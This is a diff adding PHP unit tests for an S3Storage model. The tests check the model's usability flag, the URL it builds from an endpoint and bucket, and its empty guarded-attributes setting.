+test('S3Storage isUsable method returns is_usable attribute value', function () {
+ $s3Storage = new S3Storage;
+
+ // Set the attribute directly to avoid encryption
+ $s3Storage->setRawAttributes(['is_usable' => true]);
+ expect($s3Storage->isUsable())->toBeTrue();
+
+ $s3Storage->setRawAttributes(['is_usable' => false]);
+ expect($s3Storage->isUsable())->toBeFalse();
+
+ $s3Storage->setRawAttributes(['is_usable' => null]);
+ expect($s3Storage->isUsable())->toBeNull();
+});
+
+test('S3Storage awsUrl method constructs correct URL format', function () {
+ $s3Storage = new S3Storage;
+
+ // Set attributes without triggering encryption
+ $s3Storage->setRawAttributes([
+ 'endpoint' => 'https://s3.amazonaws.com',
+ 'bucket' => 'test-bucket',
+ ]);
+
+ expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
+
+ // Test with custom endpoint
+ $s3Storage->setRawAttributes([
+ 'endpoint' => 'https://minio.example.com:9000',
+ 'bucket' => 'backups',
+ ]);
+
+ expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
+});
+
+test('S3Storage model is guarded correctly', function () {
+ $s3Storage = new S3Storage;
+
+ // The model should have $guarded = [] which means everything is fillable
+ expect($s3Storage->getGuarded())->toBe([]);
+});